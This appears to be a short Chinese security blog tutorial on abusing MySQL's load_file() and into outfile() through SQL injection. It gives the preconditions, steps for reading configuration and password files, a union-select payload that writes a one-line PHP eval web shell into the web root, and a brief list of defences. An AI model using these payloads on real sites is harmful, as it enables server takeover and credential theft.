• web安全之sqlload_file()和into outfile()


    load_file()

      条件:要有file_priv权限

         知道文件的绝对路径

         能使用union

         对web目录有读权限

      如果过滤啦单引号,则可以将函数中的字符进行hex编码

    步骤:

      1.读/etc/init.d下的东西,这里有配置文件路径。

       2.得到web的安装路径

    3.读取密码文件

    into outfile

    条件:

      1。要有file_priv权限

      2.知道网站的绝对路径

      3.对web有写的权限

      4.没有过滤单引号

    步骤:

    直到网站的绝对路径的时候:

      ?id=1 union select "<?php @eval($_POST['c']); ?>" into
     outfile("网站根目录")

    相当于:

    use test;  选择数据库为test
    create table aaa(bbb varchar(64));   在数据库中创建一个表aaa
    insert into aaa values("<?php @eval($_POST['c']);?>");   在aaa中插入一条数据<?php @eval($_POST['c']);?>
    select * from aaa into outfile 'C:/phpStudy/WWW/a.php';  将aaa中的数据导出到文件a.php
    drop aaa;  //删除建立的表


    用菜刀练接;



    防御:
      数据库连接帐号不能用root权限
      php关闭报错模式
      mysql帐号没有对权限对网络根目录有写的权限


     
  • 相关阅读:
    创建pycharm项目时项目解释器的选择
    chrome插件网站
    在chrome中屏蔽百度推荐
    annotation使用示例
    scala编程第16章学习笔记(3)——List类的高阶方法
    Eclipse常用快捷键
    Ubuntu常用命令
    scala编程第16章学习笔记(2)
    scala编程第16章学习笔记(1)
    scala编程第15章
  • 原文地址:https://www.cnblogs.com/secevery/p/5768652.html
Copyright © 2020-2023  润新知